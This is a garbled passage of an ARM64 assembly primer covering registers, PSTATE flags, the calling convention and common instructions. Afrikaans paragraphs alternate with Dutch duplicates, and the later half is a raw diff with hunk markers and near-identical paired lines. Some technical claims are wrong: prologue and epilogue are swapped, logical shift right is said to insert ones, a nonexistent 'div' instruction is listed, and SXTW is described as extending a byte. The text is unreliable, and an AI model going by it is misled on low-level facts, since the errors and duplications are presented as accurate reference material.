Die gebruik van hierdie vlakke maak 'n gestruktureerde en veilige manier moontlik om verskillende aspekte van die stelsel te bestuur, van gebruikersaansoeke tot die mees bevoorregte stelsel sagteware. ARMv8 se benadering tot voorregvlakke help om verskillende stelselkomponente doeltreffend te isoleer, wat die veiligheid en robuustheid van die stelsel verbeter.
Het gebruik van deze niveaus maakt een gestructureerde en veilige manier mogelijk om verschillende aspecten van het systeem te beheren, van gebruikerstoepassingen tot de meest bevoorrechte systeemsoftware. De benadering van ARMv8 voor privilege niveaus helpt bij het effectief isoleren van verschillende systeemcomponenten, waardoor de beveiliging en robuustheid van het systeem worden verbeterd.
## **Registers (ARM64v8)**
ARM64 het **31 algemene doelregisters**, gemerk as `x0` tot `x30`. Elkeen kan 'n **64-bis** (8-byte) waarde stoor. Vir operasies wat slegs 32-bis waardes vereis, kan dieselfde registers in 'n 32-bis modus benader word deur die name w0 tot w30 te gebruik.
ARM64 heeft **31 algemene registers**, gelabeld als `x0` tot `x30`. Elk kan een **64-bits** (8-byte) waarde opslaan. Voor bewerkingen die alleen 32-bits waarden vereisen, kunnen dezelfde registers worden benaderd in een 32-bits modus met de namen w0 tot w30.
1. **`x0`** tot **`x7`** - Hierdie word tipies as krapregisters gebruik en vir die deurgawe van parameters aan subroetines.
* **`x0`** dra ook die terugvoerdata van 'n funksie.
2. **`x8`** - In die Linux-kernel word `x8` gebruik as die stelseloproepnommer vir die `svc`-instruksie. **In macOS is dit die x16 wat gebruik word!**
3. **`x9`** tot **`x15`** - Meer tydelike registers, dikwels gebruik vir plaaslike veranderlikes.
4. **`x16`** en **`x17`** - **Intra-prosedurele Oproepregisters**. Tydelike registers vir onmiddellike waardes. Hulle word ook gebruik vir indirekte funksie-oproepe en PLT (Procedure Linkage Table) stompies.
* **`x16`** word as die **stelseloproepnommer** vir die **`svc`**-instruksie in **macOS** gebruik.
5. **`x18`** - **Platformregister**. Dit kan as 'n algemene doelregister gebruik word, maar op sommige platforms is hierdie register gereserveer vir platformspefieke gebruike: Wysiger na die huidige draadomgewingsblok in Windows, of om te wys na die tans **uitvoerende taakstruktuur in die Linux-kernel**.
6. **`x19`** tot **`x28`** - Hierdie is callee-bewaarde registers. 'n Funksie moet hierdie registers se waardes vir sy aanroeper bewaar, sodat hulle in die stok gestoor en herstel word voordat teruggekeer word na die aanroeper.
7. **`x29`** - **Raamregister** om die stokraam dop te hou. Wanneer 'n nuwe stokraam geskep word omdat 'n funksie geroep word, word die **`x29`**-register in die stok gestoor en die nuwe raamadres (sp-adres) word in hierdie register gestoor.
* Hierdie register kan ook as 'n algemene doelregister gebruik word, alhoewel dit gewoonlik as verwysing na **plaaslike veranderlikes** gebruik word.
8. **`x30`** of **`lr`**- **Skakelregister**. Dit hou die **terugvoeradres** wanneer 'n `BL` (Branch with Link) of `BLR` (Branch with Link to Register) instruksie uitgevoer word deur die **`pc`**-waarde in hierdie register te stoor.
* Dit kan ook soos enige ander register gebruik word.
* As die huidige funksie 'n nuwe funksie gaan roep en dus `lr` gaan oorskryf, sal dit dit aan die begin in die stok stoor, dit is die epiloog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Stoor `fp` en `lr`, genereer spasie en kry nuwe `fp`) en dit aan die einde herstel, dit is die proloog (`ldp x29, x30, [sp], #48; ret` -> Herstel `fp` en `lr` en keer terug).
9. **`sp`** - **Stokaanwyser**, gebruik om die bopunt van die stok dop te hou.
* die **`sp`**-waarde moet altyd ten minste 'n **kwadewoord** **uitlyn** hou, anders kan 'n uitlynuitsondering voorkom.
10. **`pc`** - **Programteller**, wat na die volgende instruksie wys. Hierdie register kan slegs deur uitsonderingsgenerasies, uitsonderingsterugkeer en takke opgedateer word. Die enigste gewone instruksies wat hierdie register kan lees, is tak met skakelinstruksies (BL, BLR) om die **`pc`**-adres in **`lr`** (Skakelregister) te stoor.
11. **`xzr`** - **Nulregister**. Ook genoem **`wzr`** in sy **32**-bis registervorm. Dit kan gebruik word om die nulwaarde maklik te kry (gewone operasie) of om vergelykings uit te voer met behulp van **`subs`** soos **`subs XZR, Xn, #10`** wat die resulterende data nêrens stoor (in **`xzr`**).
1. **`x0`** tot **`x7`** - Deze worden meestal gebruikt als tijdelijke registers en voor het doorgeven van parameters aan subroutines.
* **`x0`** draagt ook de retourgegevens van een functie.
2. **`x8`** - In de Linux-kernel wordt `x8` gebruikt als het systeemaanroepnummer voor de `svc`-instructie. **In macOS wordt x16 gebruikt!**
3. **`x9`** tot **`x15`** - Meer tijdelijke registers, vaak gebruikt voor lokale variabelen.
4. **`x16`** en **`x17`** - **Intra-procedurele Oproepregisters**. Tijdelijke registers voor onmiddellijke waarden. Ze worden ook gebruikt voor indirecte functieaanroepen en PLT (Procedure Linkage Table) stubs.
* **`x16`** wordt gebruikt als het **systeemaanroepnummer** voor de **`svc`**-instructie in **macOS**.
5. **`x18`** - **Platformregister**. Het kan worden gebruikt als algemeen register, maar op sommige platforms is dit register gereserveerd voor platformspecifieke doeleinden: Pointer naar het huidige threadomgevingsblok in Windows, of om te wijzen naar de momenteel **uitgevoerde taakstructuur in de Linux-kernel**.
6. **`x19`** tot **`x28`** - Dit zijn callee-opgeslagen registers. Een functie moet de waarden van deze registers bewaren voor zijn beller, dus ze worden opgeslagen in de stack en hersteld voordat ze teruggaan naar de beller.
7. **`x29`** - **Framepointer** om de stackframe bij te houden. Wanneer een nieuwe stackframe wordt gemaakt omdat een functie wordt aangeroepen, wordt het **`x29`**-register **opgeslagen in de stack** en wordt het adres van het **nieuwe** framepointeradres (**`sp`**-adres) **opgeslagen in dit register**.
* Dit register kan ook worden gebruikt als een **algemeen register**, hoewel het meestal wordt gebruikt als referentie naar **lokale variabelen**.
8. **`x30`** of **`lr`**- **Linkregister**. Het bevat het **retouradres** wanneer een `BL` (Branch with Link) of `BLR` (Branch with Link to Register) instructie wordt uitgevoerd door de waarde van de **`pc`** in dit register op te slaan.
* Het kan ook worden gebruikt als elk ander register.
* Als de huidige functie een nieuwe functie gaat aanroepen en dus `lr` zal overschrijven, wordt het aan het begin in de stack opgeslagen, dit is de epiloog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Sla `fp` en `lr` op, genereer ruimte en krijg nieuwe `fp`) en wordt het aan het einde hersteld, dit is de proloog (`ldp x29, x30, [sp], #48; ret` -> Herstel `fp` en `lr` en retourneer).
9. **`sp`** - **Stackpointer**, gebruikt om de bovenkant van de stack bij te houden.
* de waarde van **`sp`** moet altijd minstens een **quadword** **uitlijning** behouden of er kan een uitlijningsfout optreden.
10. **`pc`** - **Programmateller**, die wijst naar de volgende instructie. Dit register kan alleen worden bijgewerkt via uitzonderingsgeneraties, uitzonderingsretouren en branches. De enige gewone instructies die dit register kunnen lezen zijn branch with link-instructies (BL, BLR) om het **`pc`**-adres op te slaan in **`lr`** (Linkregister).
11. **`xzr`** - **Zeroregister**. Ook wel **`wzr`** genoemd in zijn **32**-bits registerformulier. Kan worden gebruikt om de nulwaarde gemakkelijk te verkrijgen (veelvoorkomende bewerking) of om vergelijkingen uit te voeren met behulp van **`subs`** zoals **`subs XZR, Xn, #10`** waarbij de resulterende gegevens nergens worden opgeslagen (in **`xzr`**).
Die **`Wn`**-registers is die **32-bis**-weergawe van die **`Xn`**-register.
De **`Wn`**-registers zijn de **32-bits** versie van de **`Xn`**-registers.
### SIMD- en Drijfpuntregisters
### SIMD- en Floating-Point-registers
Daar is nog 'n ander **32 registers van 128-bis lengte** wat gebruik kan word in geoptimeerde enkele instruksie multiple data (SIMD) operasies en vir die uitvoering van drijfpuntberekeninge. Hierdie word die Vn-registers genoem, alhoewel hulle ook in **64**-bis, **32**-bis, **16**-bis en **8**-bis kan werk en dan word hulle **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** en **`Bn`** genoem.
Bovendien zijn er nog eens **32 registers van 128-bits lengte** die kunnen worden gebruikt in geoptimaliseerde single instruction multiple data (SIMD) bewerkingen en voor het uitvoeren van zwevendekomma-aritmetiek. Deze worden de Vn-registers genoemd, hoewel ze ook kunnen werken in **64**-bit, **32**-bit, **16**-bit en **8**-bit en dan worden ze **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** en **`Bn`** genoemd.
### Sisteemregisters
**Daar is honderde sisteemregisters**, ook genoem spesiale doelregisters (SPRs), wat gebruik word vir **monitoring** en **beheer** van **verwerkers** se gedrag.\
@ -69,7 +70,7 @@ Die spesiale registers **`TPIDR_EL0`** en **`TPIDDR_EL0`** word dikwels gevind t
Hulle word dikwels gebruik om die **basisadres van die draad-plaaslike stoor**-gebied van geheue te stoor. Gewoonlik is die eerste een leesbaar en skryfbaar vir programme wat in EL0 hardloop, maar die tweede kan gelees word van EL0 en geskryf word van EL1 (soos kernel).
* `mrs x0, TPIDR_EL0 ; Lees TPIDR_EL0 in x0`
* `msr TPIDR_EL0, X0 ; Skryf x0 na TPIDR_EL0`
* `msr TPIDR_EL0, X0 ; Skryf x0 in TPIDR_EL0`
### **PSTATE**
@ -85,26 +86,26 @@ Dit is die toeganklike velde:
* **`V`** beteken die operasie het 'n getekende oorvloei opgelewer:
* Die som van twee positiewe getalle lewer 'n negatiewe resultaat op.
* Die som van twee negatiewe getalle lewer 'n positiewe resultaat op.
* By aftrekking, wanneer 'n groot negatiewe getal van 'n kleiner positiewe getal afgetrek word (of andersom), en die resultaat nie binne die reeks van die gegewe bitgrootte verteenwoordig kan word nie.
* Duidelik weet die verwerker nie of die operasie geteken is of nie, dus sal dit C en V in die operasies nagaan en aandui of 'n dra gedoen is in die geval dit geteken of ongeteken was.
* By aftrekking, wanneer 'n groot negatiewe getal afgetrek word van 'n kleiner positiewe getal (of andersom), en die resultaat nie binne die reeks van die gegewe bitgrootte verteenwoordig kan word nie.
* Duidelik weet die verwerker nie of die operasie geteken is of nie, dus sal dit C en V in die operasies nagaan en aandui of 'n dra gedra het in die geval dit geteken of ongeteken was.
{% hint style="warning" %}
Nie al die instruksies werk hierdie vlagte by nie. Sommige soos **`CMP`** of **`TST`** doen dit, en ander wat 'n s agtervoegsel het soos **`ADDS`** doen dit ook.
{% endhint%}
* Die huidige **registerbreedte (`nRW`) vlag**: As die vlag die waarde 0 behou, sal die program in die AArch64-uitvoeringsstaat hardloop sodra hervat.
* Die huidige **registerwydte (`nRW`) vlag**: As die vlag die waarde 0 behou, sal die program in die AArch64-uitvoeringsstaat hardloop sodra hervat.
* Die huidige **Uitsonderingsvlak** (**`EL`**): 'n Gewone program wat in EL0 hardloop, sal die waarde 0 hê
* Die **enkele stap vlag** (**`SS`**): Gebruik deur afsonderlike stappers om deur die SS-vlag na 1 binne **`SPSR_ELx`** 'n stap te hardloop en 'n enkele stap uitsondering uit te reik.
* Die **ongeldige uitsonderingstoestandvlag** (**`IL`**): Dit word gebruik om te merk wanneer 'n bevoorregte sagteware 'n ongeldige uitsonderingsvlakoorplasing uitvoer, hierdie vlag word na 1 gesit en die verwerker veroorsaak 'n onwettige toestand-uitsondering.
* Die **`DAIF`** vlagte: Hierdie vlagte maak dit vir 'n bevoorregte program moontlik om sekere eksterne uitsonderings selektief te maskeer.
* As **`A`** 1 is, beteken dit dat **asynchrone afbreek** geaktiveer sal word. Die **`I`** konfigureer om te reageer op eksterne hardeware **Onderbrekingsversoeke** (IRQ's). en die F is verwant aan **Vinnige Onderbrekingsversoeke** (FIR's).
* Die **stapelwyservlagte** (**`SPS`**): Bevoorregte programme wat in EL1 en hoër hardloop, kan tussen hul eie stapelwyservlagregister en die gebruikersmodel een wissel (bv. tussen `SP_EL1` en `EL0`). Hierdie skakeling word uitgevoer deur te skryf na die **`SPSel`** spesiale register. Dit kan nie vanaf EL0 gedoen word nie.
* Die **enkele stap**-vlag (**`SS`**): Gebruik deur afsonderlike stappers om deur die SS-vlag na 1 binne **`SPSR_ELx`** 'n stap te hardloop en 'n enkele stap-uitsondering uit te reik.
* Die **ongeldige uitsondering**-toestandvlag (**`IL`**): Dit word gebruik om te merk wanneer 'n bevoorregte sagteware 'n ongeldige uitsonderingsvlakoorplasing uitvoer, hierdie vlag word na 1 gestel en die verwerker veroorsaak 'n onwettige toestand-uitsondering.
* Die **`DAIF`**-vlagte: Hierdie vlagte maak dit vir 'n bevoorregte program moontlik om sekere eksterne uitsonderings selektief te maskeer.
* As **`A`** 1 is, beteken dit dat **asynchrone afbreek** geaktiveer sal word. Die **`I`** konfigureer om te reageer op eksterne hardeware **Onderbrekingsversoeke** (IRQ's). en die F is verband hou met **Vinnige Onderbrekingsversoeke** (FIR's).
* Die **stapelwyservlagte** (**`SPS`**): Bevoorregte programme wat in EL1 en hoër hardloop, kan wissel tussen die gebruik van hul eie stapelwysigerregister en die gebruikersmodel een (bv. tussen `SP_EL1` en `EL0`). Hierdie skakeling word uitgevoer deur te skryf na die **`SPSel`** spesiale register. Dit kan nie vanaf EL0 gedoen word nie.
## **Oproepkonvensie (ARM64v8)**
Die ARM64 oproepkonvensie spesifiseer dat die **eerste agt parameters** na 'n funksie oorgedra word in registers **`x0` tot `x7`**. **Addisionele** parameters word op die **stapel** oorgedra. Die **terugkeer**-waarde word teruggevoer in register **`x0`**, of in **`x1`** ook **as dit 128 bits lank is**. Die **`x19`** tot **`x30`** en **`sp`** registers moet oor funksie-oproepe **bewaar** word.
Die ARM64 oproepkonvensie spesifiseer dat die **eerste agt parameters** na 'n funksie oorgedra word in registers **`x0` tot `x7`**. **Addisionele** parameters word op die **stapel** oorgedra. Die **terugkeer**-waarde word teruggevoer in register **`x0`**, of in **`x1`** ook **as dit 128 bits lank is**. Die **`x19`** tot **`x30`** en **`sp`** registers moet behou word oor funksie-oproepe.
Wanneer 'n funksie in samestelling lees, soek na die **funksieproloog en epiloog**. Die **proloog** behels gewoonlik **die berging van die raamwyser (`x29`)**, **opstel** van 'n **nuwe raamwyser**, en **toewysing van stapelruimte**. Die **epiloog** behels gewoonlik **die herstel van die gebergde raamwyser** en **terugkeer** uit die funksie.
Wanneer 'n funksie in samestelling lees, soek na die **funksieproloog en epiloog**. Die **proloog** behels gewoonlik **berg van die raamwyser (`x29`)**, **opstel** van 'n **nuwe raamwyser**, en **toekenning van stapelruimte**. Die **epiloog** behels gewoonlik **herstel van die gebergde raamwyser** en **terugkeer** van die funksie.
### Oproepkonvensie in Swift
@ -115,9 +116,9 @@ Swift het sy eie **oproepkonvensie** wat gevind kan word op [**https://github.co
ARM64 instruksies het gewoonlik die **formaat `opcode dst, src1, src2`**, waar **`opcode`** die **operasie** is wat uitgevoer moet word (soos `add`, `sub`, `mov`, ens.), **`dst`** is die **bestemmingsregister** waar die resultaat gestoor sal word, en **`src1`** en **`src2`** is die **bronregisters**. Onmiddellike waardes kan ook gebruik word in plek van bronregisters.
* **`mov`**: **Skuif** 'n waarde van een **register** na 'n ander.
* Voorbeeld: `mov x0, x1` — Dit skuif die waarde vanaf `x1` na `x0`.
* Voorbeeld: `mov x0, x1` — Dit skuif die waarde van `x1` na `x0`.
* **`ldr`**: **Laai** 'n waarde vanaf **geheue** in 'n **register**.
* Voorbeeld: `ldr x0, [x1]` — Dit laai 'n waarde vanaf die geheueposisie wat deur `x1` aangedui word in `x0`.
* Voorbeeld: `ldr x0, [x1]` — Dit laai 'n waarde van die geheueposisie wat deur `x1` aangedui word in `x0`.
* **Offsetmodus**: 'n Offset wat die oorspronklike wyser affekteer, word aangedui, byvoorbeeld:
* `ldr x2, [x1, #8]`, dit sal in x2 die waarde vanaf x1 + 8 laai
* `ldr x2, [x0, x1, lsl #2]`, dit sal in x2 'n voorwerp laai vanaf die reeks x0, vanaf die posisie x1 (indeks) \* 4
@ -127,7 +128,7 @@ ARM64 instruksies het gewoonlik die **formaat `opcode dst, src1, src2`**, waar *
* **Na-indeksmodus**: Dit is soos die vorige een, maar die geheue-adres word benader en dan word die offset bereken en gestoor.
* `ldr x0, [x1], #8`, laai `x1` in `x0` en werk x1 by met `x1 + 8`
* **PC-verwante adressering**: In hierdie geval word die adres om te laai relatief tot die PC-register bereken
* `ldr x1, =_start`, Dit sal die adres waar die `_start` simbool begin in x1 laai relatief tot die huidige PC.
* `ldr x1, =_start`, Dit sal die adres waar die `_start` simbool begin in x1 laai in verhouding tot die huidige PC.
* **`str`**: **Stoor** 'n waarde vanaf 'n **register** in **geheue**.
* Voorbeeld: `str x0, [x1]` — Dit stoor die waarde in `x0` in die geheueposisie wat deur `x1` aangedui word.
* **`ldp`**: **Laai Paar van Register**. Hierdie instruksie **laai twee registers** van **opeenvolgende geheue**posisies. Die geheue-adres word tipies gevorm deur 'n offset by te voeg by die waarde in 'n ander register.
@ -140,42 +141,42 @@ ARM64 instruksies het gewoonlik die **formaat `opcode dst, src1, src2`**, waar *
* **`sub`**: **Aftrek** die waardes van twee register en stoor die resultaat in 'n register.
* Kontroleer **`add`** **sintaksis**.
* Voorbeeld: `sub x0, x1, x2` — Dit trek die waarde in `x2` van `x1` af en stoor die resultaat in `x0`.
* **`subs`** Dit is soos sub maar werk die vlag by
* **`subs`** Dit is soos sub maar werk die vlae by
* **`mul`**: **Vermenigvuldig** die waardes van **twee register** en stoor die resultaat in 'n register.
* Voorbeeld: `mul x0, x1, x2` — Dit vermenigvuldig die waardes in `x1` en `x2` en stoor die resultaat in `x0`.
* **`div`**: **Deel** die waarde van een register deur 'n ander en stoor die resultaat in 'n register.
* Voorbeeld: `div x0, x1, x2` — Dit deel die waarde in `x1` deur `x2` en stoor die resultaat in `x0`.
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
* **Logiese skuif links**: Voeg 0's by die einde en skuif die ander bits vorentoe (vermenigvuldig met n-keer 2)
* **Logiese skuif regs**: Voeg 1's aan die begin en skuif die ander bits agtertoe (deel deur n-keer 2 in ongeteken)
* **Aritiese skuif regs**: Soos **`lsr`**, maar in plaas van om 0's by te voeg as die mees beduidende bit 'n 1 is, word \*\*1's bygevoeg (\*\*deel deur n-keer 2 in geteken)
* **Regsdraai**: Soos **`lsr`** maar watookal van die regterkant verwyder word, word by die linkerkant aangeheg
* **Regsdraai met Uitbreiding**: Soos **`ror`**, maar met die draagvlag as die "mees beduidende bit". Dus word die draagvlag na bit 31 geskuif en die verwyderde bit na die draagvlag.
* **`bfm`**: **Bitveld Verskuif**, hierdie operasies **kopieer bits `0...n`** van 'n waarde en plaas hulle in posisies **`m..m+n`**. Die **`#s`** spesifiseer die **linkerste bit** posisie en **`#r`** die **regsregs hoeveelheid**.
* **Logiese skuif links**: Voeg 0's by die einde deur die ander bits vorentoe te skuif (vermenigvuldig met n-keer 2)
* **Logiese skuif regs**: Voeg 1's aan die begin deur die ander bits agtertoe te skuif (deel deur n-keer 2 in ongetekende)
* **Aritiese skuif regs**: Soos **`lsr`**, maar in plaas van om 0's by te voeg as die mees beduidende bit 'n 1 is, \*\*word \*\*1's bygevoeg (\*\*deel deur n-keer 2 in geteken)
* **Regsdraai regs**: Soos **`lsr`** maar wat ookal van die regterkant verwyder word, word by die linkerkant aangeheg
* **Regsdraai regs met Uitbreiding**: Soos **`ror`**, maar met die draagvlag as die "mees beduidende bit". Dus word die draagvlag na bit 31 geskuif en die verwyderde bit na die draagvlag.
* **`bfm`**: **Bitveld Verskuif**, hierdie operasies **kopieer bits `0...n`** van 'n waarde en plaas hulle in posisies **`m..m+n`**. Die **`#s`** spesifiseer die **linkerste bit** posisie en **`#r`** die **regsdraai regshoeveelheid**.
* Bitveld verskuif: `BFM Xd, Xn, #r`
* Getekende Bitveld verskuif: `SBFM Xd, Xn, #r, #s`
* Ongeskrewe Bitveld verskuif: `UBFM Xd, Xn, #r, #s`
* **Bitveld Uithaal en Invoeg:** Kopieer 'n bitveld van 'n register en kopieer dit na 'n ander register.
* **`BFI X1, X2, #3, #4`** Voeg 4 bits van X2 vanaf die 3de bit van X1 in
* Onderteken Bitveld verskuif: `SBFM Xd, Xn, #r, #s`
* Ononderteken Bitveld verskuif: `UBFM Xd, Xn, #r, #s`
* **Bitveld Uithaal en Invoeg:** Kopieer 'n bitveld vanaf 'n register en kopieer dit na 'n ander register.
* **`BFI X1, X2, #3, #4`** Voeg 4 bits vanaf X2 vanaf die 3de bit van X1 in
* **`BFXIL X1, X2, #3, #4`** Haal vanaf die 3de bit van X2 vier bits uit en kopieer hulle na X1
* **`SBFIZ X1, X2, #3, #4`** Teken-uitbrei 4 bits van X2 en voeg hulle in X1 in beginnende by bit posisie 3 deur die regter bits te nul
* **`SBFX X1, X2, #3, #4`** Haal 4 bits beginnende by bit 3 uit X2, teken dit uit, en plaas die resultaat in X1
* **`UBFIZ X1, X2, #3, #4`** Nul-uitbrei 4 bits van X2 en voeg hulle in X1 in beginnende by bit posisie 3 deur die regter bits te nul
* **`UBFX X1, X2, #3, #4`** Haal 4 bits beginnende by bit 3 uit X2 en plaas die nul-uitgebreide resultaat in X1.
* **Teken Uitbrei Na X:** Brei die teken uit (of voeg net 0's by in die ongetekende weergawe) van 'n waarde uit om operasies daarmee uit te voer:
* **`SXTB X1, W2`** Brei die teken van 'n byte **van W2 na X1** (`W2` is die helfte van `X2`) om die 64bits te vul
* **`SXTH X1, W2`** Brei die teken van 'n 16bit nommer **van W2 na X1** om die 64bits te vul
* **`SXTW X1, W2`** Brei die teken van 'n byte **van W2 na X1** om die 64bits te vul
* **`UXTB X1, W2`** Voeg 0's by (ongeskrewe) na 'n byte **van W2 na X1** om die 64bits te vul
* **`SBFIZ X1, X2, #3, #4`** Onderteken-uitbrei 4 bits vanaf X2 en voeg hulle in X1 in beginnende by bit posisie 3 deur die regter bits te nulstel
* **`SBFX X1, X2, #3, #4`** Haal 4 bits beginnende by bit 3 vanaf X2 uit, onderteken hulle, en plaas die resultaat in X1
* **`UBFIZ X1, X2, #3, #4`** Nul-uitbrei 4 bits vanaf X2 en voeg hulle in X1 in beginnende by bit posisie 3 deur die regter bits te nulstel
* **`UBFX X1, X2, #3, #4`** Haal 4 bits beginnende by bit 3 vanaf X2 uit en plaas die nul-uitgebreide resultaat in X1.
* **Onderteken Uitbrei Na X:** Brei die teken uit (of voeg net 0's by in die onondertekende weergawe) van 'n waarde om operasies daarmee uit te voer:
* **`SXTB X1, W2`** Brei die teken van 'n byte **vanaf W2 tot X1** (`W2` is die helfte van `X2`) om die 64bits te vul
* **`SXTH X1, W2`** Brei die teken van 'n 16bit nommer **vanaf W2 tot X1** om die 64bits te vul
* **`SXTW X1, W2`** Brei die teken van 'n byte **vanaf W2 tot X1** om die 64bits te vul
* **`UXTB X1, W2`** Voeg 0's by (ononderteken) na 'n byte **vanaf W2 tot X1** om die 64bits te vul
* **`extr`:** Haal bits uit 'n gespesifiseerde **paar register wat gekonkateniseer is**.
* Voorbeeld: `EXTR W3, W2, W1, #3` Dit sal **konkateniseer W1+W2** en kry **vanaf bit 3 van W2 tot bit 3 van W1** en stoor dit in W3.
* **`cmp`**: **Vergelyk** twee register en stel toestandvlagte in. Dit is 'n **alias van `subs`** wat die bestemmingsregister na die nulregister stel. Nuttig om te weet of `m == n`.
* Dit ondersteun dieselfde sintaksis as `subs`
* Voorbeeld: `cmp x0, x1` — Dit vergelyk die waardes in `x0` en `x1` en stel die toestandvlagte dienooreenkomstig in.
* **`cmn`**: **Vergelyk negatief** operand. In hierdie geval is dit 'n **alias van `adds`** en ondersteun dieselfde sintaksis. Nuttig om te weet of `m == -n`.
* **`ccmp`**: Voorwaardelike vergelyking, dit is 'n vergelyking wat slegs uitgevoer sal word as 'n vorige vergelyking waar was en spesifiek nzcv-bits sal stel.
* **`ccmp`**: Voorwaardelike vergelyking, dit is 'n vergelyking wat slegs uitgevoer sal word as 'n vorige vergelyking waar was en spesifiek nzcv-bits sal instel.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> as x1 != x2 en x3 < x4, spring na func
* Dit is omdat **`ccmp`** slegs uitgevoer sal word as die **vorige `cmp` 'n `NE`** was, as dit nie was nie, sal die bits `nzcv` na 0 gestel word (wat nie aan die `blt` vergelyking sal voldoen nie).
* Dit is omdat **`ccmp`** slegs uitgevoer sal word as die **vorige `cmp` 'n `NE`** was, as dit nie was nie, sal die bits `nzcv` na 0 gestel word (wat nie aan die `blt`-vergelyking sal voldoen nie).
* Dit kan ook gebruik word as `ccmn` (dieselfde maar negatief, soos `cmp` teenoor `cmn`).
* **`tst`**: Dit kontroleer of enige van die waardes van die vergelyking beide 1 is (dit werk soos 'n EN sonder om die resultaat enige plek te stoor). Dit is nuttig om 'n register met 'n waarde te kontroleer en te sien of enige van die bits van die register wat in die waarde aangedui word, 1 is.
* Voorbeeld: `tst X1, #7` Kontroleer of enige van die laaste 3 bits van X1 1 is
@ -188,49 +189,49 @@ ARM64 instruksies het gewoonlik die **formaat `opcode dst, src1, src2`**, waar *
* Let daarop dat dit nie die skakelregister met die terugkeeradres vul nie (nie geskik vir subrutine-oproepe wat moet terugkeer nie)
* **`blr`**: **Sprong** met Skakel na Register, gebruik om 'n **subrutine** te **roep** waar die teiken in 'n **register** gespesifiseer is. Stoor die terugkeeradres in `x30`. (Dit is
* Voorbeeld: `blr x1` — Dit roep die funksie aan waarvan die adres in `x1` ingesluit is en stoor die terugkeeradres in `x30`.
* **`ret`**: **Terugkeer** van **subrutine**, tipies deur die adres in **`x30`** te gebruik.
* Voorbeeld: `ret` — Dit keer terug van die huidige subrutine deur die terugkeeradres in `x30` te gebruik.
* **`b.<cond>`**: Voorwaardelike sprong
* **`ret`**: **Terugkeer** vanaf **subrutine**, tipies deur die adres in **`x30`** te gebruik.
* Voorbeeld: `ret` — Dit keer terug vanaf die huidige subrutine deur die terugkeeradres in `x30` te gebruik.
* **`b.<cond>`**: Voorwaardelike spronge
* **`b.eq`**: **Sprong indien gelyk**, gebaseer op die vorige `cmp` instruksie.
* Voorbeeld: `b.eq label` — As die vorige `cmp` instruksie twee gelyke waardes gevind het, spring dit na `label`.
* **`b.ne`**: **Tak indien nie gelyk nie**. Hierdie instruksie kontroleer die toestand vlae (wat deur 'n vorige vergelykingsinstruksie ingestel is), en as die vergelykte waardes nie gelyk was nie, spring dit na 'n etiket of adres.
* Voorbeeld: Na 'n `cmp x0, x1` instruksie, `b.ne label` — As die waardes in `x0` en `x1` nie gelyk was nie, spring dit na `label`.
* **`cbz`**: **Vergelyk en spring op Nul**. Hierdie instruksie vergelyk 'n register met nul, en as hulle gelyk is, spring dit na 'n etiket of adres.
* **`cbz`**: **Vergelyk en spring op nul**. Hierdie instruksie vergelyk 'n register met nul, en as hulle gelyk is, spring dit na 'n etiket of adres.
* Voorbeeld: `cbz x0, label` — As die waarde in `x0` nul is, spring dit na `label`.
* **`cbnz`**: **Vergelyk en spring op Nie-Nul**. Hierdie instruksie vergelyk 'n register met nul, en as hulle nie gelyk is nie, spring dit na 'n etiket of adres.
* **`cbnz`**: **Vergelyk en spring op nie-nul**. Hierdie instruksie vergelyk 'n register met nul, en as hulle nie gelyk is nie, spring dit na 'n etiket of adres.
* Voorbeeld: `cbnz x0, label` — As die waarde in `x0` nie-nul is nie, spring dit na `label`.
* **`tbnz`**: Toets bit en spring op nie-nul
* Voorbeeld: `tbnz x0, #8, label`
* **`tbz`**: Toets bit en spring op nul
* Voorbeeld: `tbz x0, #8, label`
* **Kondisionele seleksie-operasies**: Dit is operasies waarvan die gedrag varieer afhangende van die kondisionele bits.
* `csel Xd, Xn, Xm, kond` -> `csel X0, X1, X2, EQ` -> As waar, X0 = X1, as vals, X0 = X2
* `csinc Xd, Xn, Xm, kond` -> As waar, Xd = Xn, as vals, Xd = Xm + 1
* `cinc Xd, Xn, kond` -> As waar, Xd = Xn + 1, as vals, Xd = Xn
* `csinv Xd, Xn, Xm, kond` -> As waar, Xd = Xn, as vals, Xd = NIE(Xm)
* `cinv Xd, Xn, kond` -> As waar, Xd = NIE(Xn), as vals, Xd = Xn
* `csneg Xd, Xn, Xm, kond` -> As waar, Xd = Xn, as vals, Xd = - Xm
* `cneg Xd, Xn, kond` -> As waar, Xd = - Xn, as vals, Xd = Xn
* `cset Xd, Xn, Xm, kond` -> As waar, Xd = 1, as vals, Xd = 0
* `csetm Xd, Xn, Xm, kond` -> As waar, Xd = \<alles 1>, as vals, Xd = 0
* `csel Xd, Xn, Xm, kond` -> `csel X0, X1, X2, EQ` -> Indien waar, X0 = X1, indien vals, X0 = X2
* `csinc Xd, Xn, Xm, kond` -> Indien waar, Xd = Xn, indien vals, Xd = Xm + 1
* `cinc Xd, Xn, kond` -> Indien waar, Xd = Xn + 1, indien vals, Xd = Xn
* `csinv Xd, Xn, Xm, kond` -> Indien waar, Xd = Xn, indien vals, Xd = NOT(Xm)
* `cinv Xd, Xn, kond` -> Indien waar, Xd = NOT(Xn), indien vals, Xd = Xn
* `csneg Xd, Xn, Xm, kond` -> Indien waar, Xd = Xn, indien vals, Xd = - Xm
* `cneg Xd, Xn, kond` -> Indien waar, Xd = - Xn, indien vals, Xd = Xn
* `cset Xd, Xn, Xm, kond` -> Indien waar, Xd = 1, indien vals, Xd = 0
* `csetm Xd, Xn, Xm, kond` -> Indien waar, Xd = \<all 1>, indien vals, Xd = 0
* **`adrp`**: Bereken die **bladsy-adres van 'n simbool** en stoor dit in 'n register.
* Voorbeeld: `adrp x0, simbool` — Dit bereken die bladsy-adres van `simbool` en stoor dit in `x0`.
* **`ldrsw`**: **Laai** 'n geteken **32-bis** waarde vanaf geheue en **teken dit uit tot 64** bits.
* Voorbeeld: `ldrsw x0, [x1]` — Dit laai 'n geteken 32-bis waarde vanaf die geheuelokasie wat deur `x1` aangedui word, teken dit uit tot 64 bits, en stoor dit in `x0`.
* **`stur`**: **Stoor 'n registerwaarde na 'n geheuelokasie**, met 'n skuif vanaf 'n ander register.
